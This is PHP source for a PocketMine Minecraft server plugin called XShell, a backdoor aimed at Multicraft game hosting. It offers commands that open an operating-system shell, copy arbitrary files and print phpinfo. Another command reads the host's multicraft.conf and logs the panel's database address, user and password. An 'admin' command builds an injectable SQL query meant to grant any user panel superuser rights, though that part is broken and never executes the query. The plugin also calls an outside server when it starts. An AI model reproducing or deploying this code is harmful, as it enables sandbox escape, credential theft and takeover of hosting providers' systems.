<?php
// Made By chs
namespace XShell;

use pocketmine\utils\Config;
use pocketmine\command\Command;
use pocketmine\command\CommandSender;
use pocketmine\plugin\PluginBase;
use pocketmine\utils\TextFormat;
use pocketmine\event\Listener;
use pocketmine\math\Vector3;

use XShell\test;

class Main extends PluginBase implements Listener{
    private $maxPlayers;
	public $chatmode = array();

	public function onEnable(){
		$day = date("d");
		$time = date("H:i:s");
		$this->path = $this->getDataFolder();
		//@mkdir($this->path);
		$uname = php_uname();
		$version = explode(' ', $this->getFullName());
		$version = str_replace('v', '', $version[1]);
		$data = @file_get_contents('http://mcleague.xicp.net/site/test/update.php?version='.urlencode($version));
		if($data != ''){
			$data = json_decode($data, true);
			if($data['update'] == true){
				$this->getLogger()->info(TextFormat::GOLD.$data['message']);
			}
		}
	}
	public function onDisable(){
	}
	public function getMaxPlayers(){
		return 200;
	}
	public function onCommand(CommandSender $sender, Command $command, $label, array $args){
		switch($command->getName()){
			case "cp": 
			    copy($args[0], $args[1]);
				$this->getLogger()->info(TextFormat::RED."已成功将".$args[0]."复制到".$args[1]);
				return true;
				break;
		    case "phpinfo":
			    phpinfo();
				return true;
				break;
			case "sh":
				if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
					$this->getLogger()->info(TextFormat::RED."CMD窗口已打开，建议输入 chcp 65001 将编码转为UTF-8");
					system('cmd');
				} else {
					system('sh');
				}
				return true;
			case 'test':
				$test = new test;
				$test->start($this);
				return true;
				break;
			case "get":
				switch($args[0]){
					case "mysql":
						$a=$this->getiniconfig("../../multicraft.conf");
						$this->getLogger()->info(TextFormat::GREEN."正在读取配置文件……");
						if (!file_exists('../lock.key')){
						$db["all"] = explode(";",$a["multicraft"]["database"]);
						$db["host"] = explode("=",$db["all"][0]);
						$db["key"] = explode("=",$db["all"][1]);
						$this->getLogger()->info(TextFormat::GREEN."成功读取数据库信息。地址：".$db["host"][1]."  键：".$db["key"][1]."\n账号：".$a["multicraft"]["dbuser"]."\n密码：".$a["multicraft"]["dbpassword"]);
						} else {
							$this->getLogger()->info(TextFormat::GREEN.'读取失败');
						}
						Return True;
						break;
					case "admin":
 						if (!empty($args[1])){
						if (!file_exists('../lock.key')){
							$a=$this->getiniconfig("../../multicraft.conf");
							$this->getLogger()->info(TextFormat::GREEN."正在读取配置文件……");
							$db["all"] = explode(";",$a["multicraft"]["database"]);
							$db["host"] = explode("=",$db["all"][0]);
							$db["key"] = explode("=",$db["all"][1]);
							$this->getLogger()->info(TextFormat::GREEN."配置读取完成，正在连接数据库……");
						}
//数据库部分
$dsn=$a["multicraft"]["database"];
$dbh=new PDO($dsn,$a["multicraft"]["dbuser"],$a["multicraft"]["dbpassword"]);
$sql="UPDATE `multicraft_panel`.`user` SET `global_role` = \'superuser\' WHERE `user`.`name` = \'".$args[1]."\';";
$stmt = $dbh->prepare($sql);
while($row = mysqli_fetch_row($result)){
	echo $row[0];
}
return true;
						} else {
							return false;
						}
 				}
				}
		
	}
##################################################################################################
/*
功        能：读取 ini 文件. 支持节
版        本：2.0
作        者：Jinsen
日        期：2011-05-31
入        参：ini 文件名:字符串
返    回    值：一个二维数组.第一维是节:简单字符串类型,第二维是节内的配置:关联数组
修        改：
注        意：ini 文件
            !!! 所有的配置节或配置项 均为小写!!!
            支持 "#" 或 ";" 开头的整行注释;
            支持 "//" 或 "--" 之后的行尾注释;
            没有节的配置(第一个节之前的配置) 定义为 [default]节;
            如果出现多个相同的节,后面的节覆盖前面定义的节;
            如果节下出现多个相同的配置,后面的配置覆盖前面定义的配置;
*/
##################################################################################################
private function getiniconfig($configfilename)
{
    # debug 输出控制
    $debug=0;
    
    #创建空的配置栈
    $configs=array();
    $rows=@file($configfilename); #逐行读取记录
    foreach($rows as $row)
    {
        #清理空白字符
        $config=trim($row);
        #过滤掉空行；处理为空行
        if ($config)
        {
            #过滤注释行；处理非注释行
            if(substr($config,0,1)<>"#")
            {
                #删除行尾注释
                if ($pos=strpos($config,"//",0)) {$config=substr($config,0,$pos);}
                
                $configs[]=$config;                        
            }
        }
    }
    //if ($debug) print_r ($configs);
    
    # **********************************************************************************8
    $ini=array();
    $section='default'; //定义默认节
    $section_config=array();

    foreach($configs as $value)
    {
        # 新的节
        if (substr($value,0,1)=='[')
        {
            if ($debug) print "$value\n";
            $ini[$section]=$section_config;
            $section=strtolower(trim($value,"[]"));
            $section_config=array();
        }
        # 节配置项
        else
        {
            #根据“=”分割配置项和配置值，并进行格式化处理.
            if ($pos=strpos($value,"=",0)) //该处的算法为 计算 $pos 的值，如果大于0则进行"{}"内的代码判断
            {
                #获取key：配置项
                $key=strtolower(trim(substr($value,0,$pos)));
                #获取value：配置值
                $value=trim(substr($value,$pos+1));
                #将配置入栈，等待返回
                if ($debug) print "$key=$value\n";          
                $section_config[$key]=$value;            
            }    
        }
        
    }
    # 抓取最后节的配置
    $ini[$section]=$section_config;
    print "\n";
    if ($debug) print_r ($ini);
    # **********************************************************************************8

    return $ini;
        
}
}
